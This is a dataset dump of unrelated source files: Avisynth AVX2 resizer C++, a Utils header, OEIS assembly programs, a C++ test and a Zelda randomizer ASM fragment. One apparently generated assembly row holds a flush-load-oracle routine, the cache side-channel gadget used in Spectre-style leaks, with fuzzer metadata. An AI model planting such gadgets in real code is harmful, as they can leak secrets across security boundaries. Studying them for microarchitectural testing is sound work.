text stringlengths 1 1.05M |
|---|
// Avisynth v2.5. Copyright 2002 Ben Rudiak-Gould et al.
// http://www.avisynth.org
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA, or visit
// http://www.gnu.org/copyleft/gpl.html .
//
// Linking Avisynth statically or dynamically with other modules is making a
// combined work based on Avisynth. Thus, the terms and conditions of the GNU
// General Public License cover the whole combination.
//
// As a special exception, the copyright holders of Avisynth give you
// permission to link Avisynth with independent modules that communicate with
// Avisynth solely through the interfaces defined in avisynth.h, regardless of the license
// terms of these independent modules, and to copy and distribute the
// resulting combined work under terms of your choice, provided that
// every copy of the combined work is accompanied by a complete copy of
// the source code of Avisynth (the version of Avisynth used to produce the
// combined work), being distributed under the terms of the GNU General
// Public License plus this exception. An independent module is a module
// which is not derived from or based on Avisynth, such as 3rd-party filters,
// import and export plugins, or graphical user interfaces.
#include "resample.h"
#include <avs/config.h>
#include "internal.h"
//#include "transform.h"
#include "turn.h"
#include <avs/alignment.h>
#include <avs/minmax.h>
#include <type_traits>
// Intrinsics for SSE4.1, SSSE3, SSE3, SSE2, ISSE and MMX
#include <emmintrin.h>
#include <immintrin.h>
#include <algorithm>
#include "resample_avx2.h"
template<bool lessthan16bit, typename pixel_t, bool avx2>
void resizer_h_avx2_generic_int16_float(BYTE* dst8, const BYTE* src8, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int height, int bits_per_pixel) {
_mm256_zeroupper();
int filter_size = AlignNumber(program->filter_size, 8) / 8;
const __m128 zero = _mm_setzero_ps();
const __m128i zero128 = _mm_setzero_si128();
const pixel_t *src = reinterpret_cast<const pixel_t *>(src8);
pixel_t *dst = reinterpret_cast<pixel_t *>(dst8);
dst_pitch /= sizeof(pixel_t);
src_pitch /= sizeof(pixel_t);
__m128 clamp_limit;
if (sizeof(pixel_t) == 2)
clamp_limit = _mm_set1_ps((float)(((int)1 << bits_per_pixel) - 1)); // clamp limit
__m128 data_l_single, data_h_single;
for (int y = 0; y < height; y++) {
float* current_coeff = program->pixel_coefficient_float;
for (int x = 0; x < width; x+=4) {
__m256 result1 = _mm256_setzero_ps();
__m256 result2 = result1;
__m256 result3 = result1;
__m256 result4 = result1;
int begin1 = program->pixel_offset[x+0];
int begin2 = program->pixel_offset[x+1];
int begin3 = program->pixel_offset[x+2];
int begin4 = program->pixel_offset[x+3];
// this part is repeated by x4
// begin1, result1
for (int i = 0; i < filter_size; i++) {
__m256 data_single;
if(sizeof(pixel_t)==2) // word
{
__m256i src256;
if (avx2) {
src256 = _mm256_cvtepu16_epi32(_mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin1 + i * 8))); // 8*16->8*32 bits
}
else {
__m128i src_p = _mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin1 + i * 8)); // uint16_t 8*16=128 8 pixels at a time
__m128i src_l = _mm_unpacklo_epi16(src_p, zero128); // spread lower 4*uint16_t pixel value -> 4*32 bit
__m128i src_h = _mm_unpackhi_epi16(src_p, zero128); // spread higher 4*uint16_t pixel value -> 4*32 bit
src256 = _mm256_set_m128i(src_h, src_l);
}
data_single = _mm256_cvtepi32_ps(src256); // Converts the 8x signed 32-bit integer values of a to single-precision, floating-point values.
}
else { // float unaligned
if (avx2) {
data_single = _mm256_loadu_ps(reinterpret_cast<const float*>(src+begin1+i*8)); // float 8*32=256 8 pixels at a time
}
else {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
data_l_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin1 + i * 8)); // float 4*32=128 4 pixels at a time
data_h_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin1 + i * 8 + 4)); // float 4*32=128 4 pixels at a time
data_single = _mm256_set_m128(data_h_single, data_l_single);
}
}
__m256 coeff;
if (avx2) {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
coeff = _mm256_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
}
else {
__m128 coeff_l = _mm_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
__m128 coeff_h = _mm_load_ps(reinterpret_cast<const float*>(current_coeff + 4)); // always aligned
coeff = _mm256_set_m128(coeff_h, coeff_l);
}
__m256 dst = _mm256_mul_ps(data_single, coeff); // Multiply by coefficient
result1 = _mm256_add_ps(result1, dst);
current_coeff += 8;
}
// begin2, result2
for (int i = 0; i < filter_size; i++) {
__m256 data_single;
if(sizeof(pixel_t)==2) // word
{
__m256i src256;
if (avx2) {
src256 = _mm256_cvtepu16_epi32(_mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin2 + i * 8))); // 8*16->8*32 bits
}
else {
__m128i src_p = _mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin2 + i * 8)); // uint16_t 8*16=128 8 pixels at a time
__m128i src_l = _mm_unpacklo_epi16(src_p, zero128); // spread lower 4*uint16_t pixel value -> 4*32 bit
__m128i src_h = _mm_unpackhi_epi16(src_p, zero128); // spread higher 4*uint16_t pixel value -> 4*32 bit
src256 = _mm256_set_m128i(src_h, src_l);
}
data_single = _mm256_cvtepi32_ps (src256); // Converts the 8x signed 32-bit integer values of a to single-precision, floating-point values.
}
else { // float
if (avx2) {
data_single = _mm256_loadu_ps(reinterpret_cast<const float*>(src+begin2+i*8)); // float 8*32=256 8 pixels at a time
}
else {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
data_l_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin2 + i * 8)); // float 4*32=128 4 pixels at a time
data_h_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin2 + i * 8 + 4)); // float 4*32=128 4 pixels at a time
data_single = _mm256_set_m128(data_h_single, data_l_single);
}
}
__m256 coeff;
if (avx2) {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
coeff = _mm256_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
}
else {
__m128 coeff_l = _mm_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
__m128 coeff_h = _mm_load_ps(reinterpret_cast<const float*>(current_coeff + 4)); // always aligned
coeff = _mm256_set_m128(coeff_h, coeff_l);
}
__m256 dst = _mm256_mul_ps(data_single, coeff); // Multiply by coefficient
result2 = _mm256_add_ps(result2, dst);
current_coeff += 8;
}
// begin3, result3
for (int i = 0; i < filter_size; i++) {
__m256 data_single;
if(sizeof(pixel_t)==2) // word
{
__m256i src256;
if (avx2) {
src256 = _mm256_cvtepu16_epi32(_mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin3 + i * 8))); // 8*16->8*32 bits
}
else {
__m128i src_p = _mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin3 + i * 8)); // uint16_t 8*16=128 8 pixels at a time
__m128i src_l = _mm_unpacklo_epi16(src_p, zero128); // spread lower 4*uint16_t pixel value -> 4*32 bit
__m128i src_h = _mm_unpackhi_epi16(src_p, zero128); // spread higher 4*uint16_t pixel value -> 4*32 bit
src256 = _mm256_set_m128i(src_h, src_l);
}
data_single = _mm256_cvtepi32_ps (src256); // Converts the 8x signed 32-bit integer values of a to single-precision, floating-point values.
}
else { // float
if (avx2) {
data_single = _mm256_loadu_ps(reinterpret_cast<const float*>(src+begin3+i*8)); // float 8*32=256 8 pixels at a time
}
else {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
data_l_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin3 + i * 8)); // float 4*32=128 4 pixels at a time
data_h_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin3 + i * 8 + 4)); // float 4*32=128 4 pixels at a time
data_single = _mm256_set_m128(data_h_single, data_l_single);
}
}
__m256 coeff;
if (avx2) {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
coeff = _mm256_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
}
else {
__m128 coeff_l = _mm_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
__m128 coeff_h = _mm_load_ps(reinterpret_cast<const float*>(current_coeff + 4)); // always aligned
coeff = _mm256_set_m128(coeff_h, coeff_l);
}
__m256 dst = _mm256_mul_ps(data_single, coeff); // Multiply by coefficient
result3 = _mm256_add_ps(result3, dst);
current_coeff += 8;
}
// begin4, result4
for (int i = 0; i < filter_size; i++) {
__m256 data_single;
if(sizeof(pixel_t)==2) // word
{
__m256i src256;
if (avx2) {
src256 = _mm256_cvtepu16_epi32(_mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin4 + i * 8))); // 8*16->8*32 bits
}
else {
__m128i src_p = _mm_loadu_si128(reinterpret_cast<const __m128i*>(src + begin4 + i * 8)); // uint16_t 8*16=128 8 pixels at a time
__m128i src_l = _mm_unpacklo_epi16(src_p, zero128); // spread lower 4*uint16_t pixel value -> 4*32 bit
__m128i src_h = _mm_unpackhi_epi16(src_p, zero128); // spread higher 4*uint16_t pixel value -> 4*32 bit
src256 = _mm256_set_m128i(src_h, src_l);
}
data_single = _mm256_cvtepi32_ps (src256); // Converts the 8x signed 32-bit integer values of a to single-precision, floating-point values.
}
else { // float
if (avx2) {
data_single = _mm256_loadu_ps(reinterpret_cast<const float*>(src+begin4+i*8)); // float 8*32=256 8 pixels at a time
}
else {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
data_l_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin4 + i * 8)); // float 4*32=128 4 pixels at a time
data_h_single = _mm_loadu_ps(reinterpret_cast<const float*>(src + begin4 + i * 8 + 4)); // float 4*32=128 4 pixels at a time
data_single = _mm256_set_m128(data_h_single, data_l_single);
}
}
__m256 coeff;
if (avx2) {
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
coeff = _mm256_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
}
else {
__m128 coeff_l = _mm_load_ps(reinterpret_cast<const float*>(current_coeff)); // always aligned
__m128 coeff_h = _mm_load_ps(reinterpret_cast<const float*>(current_coeff + 4)); // always aligned
coeff = _mm256_set_m128(coeff_h, coeff_l);
}
__m256 dst = _mm256_mul_ps(data_single, coeff); // Multiply by coefficient
result4 = _mm256_add_ps(result4, dst);
current_coeff += 8;
}
__m128 result;
const __m128 sumQuad1 = _mm_add_ps(_mm256_castps256_ps128(result1), _mm256_extractf128_ps(result1, 1));
const __m128 sumQuad2 = _mm_add_ps(_mm256_castps256_ps128(result2), _mm256_extractf128_ps(result2, 1));
__m128 result12 = _mm_hadd_ps(sumQuad1, sumQuad2);
const __m128 sumQuad3 = _mm_add_ps(_mm256_castps256_ps128(result3), _mm256_extractf128_ps(result3, 1));
const __m128 sumQuad4 = _mm_add_ps(_mm256_castps256_ps128(result4), _mm256_extractf128_ps(result4, 1));
__m128 result34 = _mm_hadd_ps(sumQuad3, sumQuad4);
result = _mm_hadd_ps(result12, result34);
if (sizeof(pixel_t) == 2)
{
// clamp!
if(lessthan16bit)
result = _mm_min_ps(result, clamp_limit); // for 10-14 bit
// low limit or 16 bit limit through pack_us
// Converts the four single-precision, floating-point values of a to signed 32-bit integer values.
__m128i result_4x_int32 = _mm_cvtps_epi32(result); // 4 * 32 bit integers
__m128i result_4x_uint16 = _mm_packus_epi32(result_4x_int32, zero128); // 4*32+zeros = lower 4*16 OK
_mm_storel_epi64(reinterpret_cast<__m128i *>(dst + x), result_4x_uint16);
}
else { // float
// aligned
_mm_store_ps(reinterpret_cast<float*>(dst+x), result); // 4 results at a time
}
}
dst += dst_pitch;
src += src_pitch;
}
_mm256_zeroupper();
}
// for uint16_t and float. Both uses float arithmetic and coefficients
// see the same in resample_avx
template<bool lessthan16bit, typename pixel_t, bool avx2>
void resize_v_avx2_planar_16or32(BYTE* dst0, const BYTE* src0, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int target_height, int bits_per_pixel, const int* pitch_table, const void* storage)
{
_mm256_zeroupper();
int filter_size = program->filter_size;
//short* current_coeff = program->pixel_coefficient;
float* current_coeff_float = program->pixel_coefficient_float;
int wMod8 = (width / 8) * 8; // uint16/float: 8 at a time (byte was 16 byte at a time)
__m128i zero = _mm_setzero_si128();
__m256i zero256 = _mm256_setzero_si256();
const pixel_t* src = (pixel_t *)src0;
pixel_t* dst = (pixel_t *)dst0;
dst_pitch = dst_pitch / sizeof(pixel_t);
src_pitch = src_pitch / sizeof(pixel_t);
__m256 clamp_limit; // test, finally not used
__m128i clamp_limit_i16;
float limit;
if (sizeof(pixel_t) == 2) {
int max_pixel_value = ((int)1 << bits_per_pixel) - 1;
limit = (float)max_pixel_value;
clamp_limit = _mm256_set1_ps(limit); // clamp limit
clamp_limit_i16 = _mm_set1_epi16(max_pixel_value); // clamp limit
}
for (int y = 0; y < target_height; y++) {
int offset = program->pixel_offset[y];
const pixel_t* src_ptr = src + pitch_table[offset]/sizeof(pixel_t);
for (int x = 0; x < wMod8; x+=8) {
__m256 result_single = _mm256_set1_ps(0.0f);
const pixel_t* src2_ptr = src_ptr+x;
for (int i = 0; i < filter_size; i++) {
__m256 src_single;
if (sizeof(pixel_t) == 2) // word
{
// avx solution is chosen is pointers are aligned
__m128i src_p = _mm_load_si128(reinterpret_cast<const __m128i*>(src2_ptr)); // uint16_t 8*16=128 8 pixels at a time
__m256i src256;
if (avx2)
{
// AVX2:
//_mm256_unpacklo is not good, because it works on the 2 * lower_64_bit of the two 128bit halves
src256 = _mm256_cvtepu16_epi32(src_p);
}
else {
// simple avx
__m128i src_l = _mm_unpacklo_epi16(src_p, zero); // spread lower 4*uint16_t pixel value -> 4*32 bit
__m128i src_h = _mm_unpackhi_epi16(src_p, zero); // spread higher 4*uint16_t pixel value -> 4*32 bit
src256 = _mm256_set_m128i(src_h, src_l);
}
src_single = _mm256_cvtepi32_ps(src256); // Converts the eight signed 32-bit integer values of avx to single-precision, floating-point values.
}
else { // float
// avx solution is chosen is pointers are aligned
__m128 src_l_single = _mm_load_ps(reinterpret_cast<const float*>(src2_ptr)); // float 4*32=128 4 pixels at a time
__m128 src_h_single = _mm_load_ps(reinterpret_cast<const float*>(src2_ptr+4)); // float 4*32=128 4 pixels at a time
src_single = _mm256_set_m128(src_h_single, src_l_single);
// using one 256bit load instead of 2x128bit is slower on avx-only Ivy
//src_single = _mm256_load_ps(reinterpret_cast<const float*>(src2_ptr)); // float 8*32=256 8 pixels at a time
}
__m256 coeff = _mm256_broadcast_ss(reinterpret_cast<const float*>(current_coeff_float+i)); // loads 1, fills all 8 floats
__m256 dst = _mm256_mul_ps(src_single, coeff); // Multiply by coefficient // 8*(32bit*32bit=32bit)
result_single = _mm256_add_ps(result_single, dst); // accumulate result.
src2_ptr += src_pitch;
}
if(sizeof(pixel_t)==2) // word
{
// clamp! no! later at uint16 stage
// result_single = _mm256_min_ps(result_single, clamp_limit_256); // mainly for 10-14 bit
// result = _mm_max_ps(result, zero); low limit through pack_us
// Converts the 8 single-precision, floating-point values of a to signed 32-bit integer values.
__m256i result256 = _mm256_cvtps_epi32(result_single);
// Pack and store
__m128i result = _mm_packus_epi32(_mm256_extractf128_si256(result256, 0), _mm256_extractf128_si256(result256, 1)); // 4*32+4*32 = 8*16
if(lessthan16bit)
result = _mm_min_epu16(result, clamp_limit_i16); // unsigned clamp here
_mm_stream_si128(reinterpret_cast<__m128i*>(dst+x), result);
}
else { // float
_mm256_stream_ps(reinterpret_cast<float*>(dst+x), result_single);
}
}
// Leftover
for (int x = wMod8; x < width; x++) {
float result = 0;
for (int i = 0; i < filter_size; i++) {
result += (src_ptr+pitch_table[i]/sizeof(pixel_t))[x] * current_coeff_float[i];
}
if (!std::is_floating_point<pixel_t>::value) { // floats are unscaled and uncapped
result = clamp(result, 0.0f, limit);
}
dst[x] = (pixel_t) result;
}
dst += dst_pitch;
current_coeff_float += filter_size;
}
_mm256_zeroupper();
}
// instantiate here
// avx2 16,32bit
template void resizer_h_avx2_generic_int16_float<false, uint16_t>(BYTE* dst8, const BYTE* src8, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int height, int bits_per_pixel);
template void resizer_h_avx2_generic_int16_float<false, float >(BYTE* dst8, const BYTE* src8, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int height, int bits_per_pixel);
// avx2 10-14bit
template void resizer_h_avx2_generic_int16_float<true, uint16_t>(BYTE* dst8, const BYTE* src8, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int height, int bits_per_pixel);
// avx2 16,32bit
template void resize_v_avx2_planar_16or32<false, uint16_t>(BYTE* dst0, const BYTE* src0, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int target_height, int bits_per_pixel, const int* pitch_table, const void* storage);
template void resize_v_avx2_planar_16or32<false, float>(BYTE* dst0, const BYTE* src0, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int target_height, int bits_per_pixel, const int* pitch_table, const void* storage);
// avx2 10-14bit
template void resize_v_avx2_planar_16or32<true, uint16_t>(BYTE* dst0, const BYTE* src0, int dst_pitch, int src_pitch, ResamplingProgram* program, int width, int target_height, int bits_per_pixel, const int* pitch_table, const void* storage);
|
#ifndef Utils_hpp
#define Utils_hpp
#include <stdio.h>
#include <sys/types.h>
#include <utility>
#include <algorithm>
#include <cctype>
#include <string>
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <glad/glad.h>
using namespace glm;
enum {LEFT, CENTER, RIGHT, TOP, BOTTOM};
class Utils {
public:
static float map(float value, float inMin, float inMax, float outMin, float outMax);
static std::pair<float, float> calculateTextCenter(float totalWidth, uint hAlign, uint vAlign, int fontSize);
static std::string toLower(std::string input);
static GLenum getTextureConstFromIndex(int index);
};
#endif /* Utils_hpp */
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xa834, %rax
nop
nop
nop
nop
nop
add $60497, %rcx
mov (%rax), %r14w
nop
nop
nop
and %r14, %r14
lea addresses_A_ht+0x8f86, %rdi
nop
nop
nop
nop
nop
sub $28843, %r10
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rdi)
nop
sub $62664, %r9
lea addresses_WC_ht+0xf29e, %rsi
lea addresses_D_ht+0x9e46, %rdi
nop
nop
nop
nop
sub $20714, %r9
mov $14, %rcx
rep movsb
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_WT_ht+0x9b02, %rcx
nop
and %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
movups %xmm3, (%rcx)
nop
and %rdi, %rdi
lea addresses_normal_ht+0xc2c2, %rax
nop
cmp $39927, %r9
movb $0x61, (%rax)
nop
nop
nop
nop
add $46372, %rcx
lea addresses_WC_ht+0xa1a6, %rcx
nop
dec %rdi
mov (%rcx), %r10w
nop
nop
nop
cmp $30177, %rsi
lea addresses_D_ht+0x138a6, %r14
nop
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
and $0xffffffffffffffc0, %r14
movntdq %xmm4, (%r14)
nop
nop
cmp $49521, %rdi
lea addresses_A_ht+0xd3a6, %rdi
nop
nop
nop
dec %r9
movw $0x6162, (%rdi)
nop
nop
nop
lfence
lea addresses_D_ht+0xc70e, %r14
nop
nop
nop
nop
inc %rdi
movl $0x61626364, (%r14)
nop
and %rax, %rax
lea addresses_WT_ht+0x56c0, %r14
xor %rdi, %rdi
movb (%r14), %r9b
nop
nop
add $3320, %r9
lea addresses_A_ht+0x127a6, %rsi
lea addresses_WC_ht+0x13ba6, %rdi
nop
nop
nop
sub %r13, %r13
mov $75, %rcx
rep movsb
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x1256e, %r10
nop
nop
nop
and $47249, %r13
movl $0x61626364, (%r10)
nop
nop
nop
nop
sub $17244, %r9
lea addresses_WC_ht+0x4bc2, %r13
nop
nop
nop
nop
nop
and $29908, %rsi
and $0xffffffffffffffc0, %r13
vmovaps (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
nop
nop
and %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rax
push %rbx
push %rcx
push %rdx
// Faulty Load
lea addresses_UC+0xffa6, %rcx
clflush (%rcx)
nop
lfence
movb (%rcx), %bl
lea oracles, %rcx
and $0xff, %rbx
shlq $12, %rbx
mov (%rcx,%rbx,1), %rbx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
; A077750: Least significant digit of A077749(n).
; 0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0,2,6,4,0
mov $1,$0
mod $1,4
pow $1,3
mod $1,5
mul $1,2
|
; ---------------------------------------------------------------------------
; Data segment:
; ---------------------------------------------------------------------------
section .data use64
|
; A267847: Decimal representation of the n-th iteration of the "Rule 227" elementary cellular automaton starting with a single ON (black) cell.
; 1,4,26,122,506,2042,8186,32762,131066,524282,2097146,8388602,33554426,134217722,536870906,2147483642,8589934586,34359738362,137438953466,549755813882,2199023255546,8796093022202,35184372088826,140737488355322,562949953421306,2251799813685242,9007199254740986
mov $2,1
mov $3,1
lpb $0,1
sub $0,1
mul $3,4
mov $1,$3
mov $2,$3
trn $2,6
lpe
add $1,$2
|
#include <iostream>
#include "test_whole_archive_foo.h"
extern int foo();
int main(int argc, char **argv) {
std::cout << "Result: " << (foo() + bug::get_thing("baz")) << std::endl;
return 0;
}
struct A {
int i;
A(int i) : i(i) { std::cout << "ctor a" << i << '\n'; }
~A() { std::cout << "dtor a" << i << '\n'; }
};
A a0(0);
|
;================================================================================
; Floodgate Softlock Fix
;--------------------------------------------------------------------------------
FloodGateAndMasterSwordFollowerReset:
JSL.l MasterSwordFollowerClear
FloodGateReset:
LDA.l PersistentFloodgate : BNE +
LDA $7EF2BB : AND.b #$DF : STA $7EF2BB ; reset water outside floodgate
LDA $7EF2FB : AND.b #$DF : STA $7EF2FB ; reset water outside swamp palace
LDA $7EF216 : AND.b #$7F : STA $7EF216 ; clear water inside floodgate
LDA $7EF051 : AND.b #$FE : STA $7EF051 ; clear water front room (room 40)
+
FloodGateResetInner:
LDA.l Bugfix_SwampWaterLevel : BEQ +++
LDA $7EF06F : AND.b #$04 : BEQ + ; Check if key in room 55 has been collected.
LDA $7EF356 : AND.b #$01 : BNE ++ ; Check for flippers. This can otherwise softlock doors if flooded without flippers and no way to reset.
+
LDA $7EF06E : AND.b #$7F : STA $7EF06E ; clear water room 55 - outer room you shouldn't be able to softlock except in major glitches
++
LDA $7EF06B : AND.b #$04 : BNE +++ ; Check if key in room 53 has been collected.
; no need to check for flippers on the inner room, as you can't get to the west door no matter what, without flippers.
